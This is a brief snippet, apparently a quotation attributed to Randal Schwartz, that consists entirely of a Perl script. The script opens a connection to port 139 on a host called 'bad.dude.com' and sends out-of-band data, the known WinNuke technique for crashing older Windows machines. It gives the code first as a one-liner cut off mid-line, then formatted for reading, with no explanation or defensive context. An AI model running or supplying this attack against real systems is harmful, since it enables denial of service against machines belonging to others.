perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:13
And formatted so it's a little easier to read:
#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new(PeerAddr=>"bad.dude.com:139")
->send("bye", MSG_OOB);
-- Randal Schwartz
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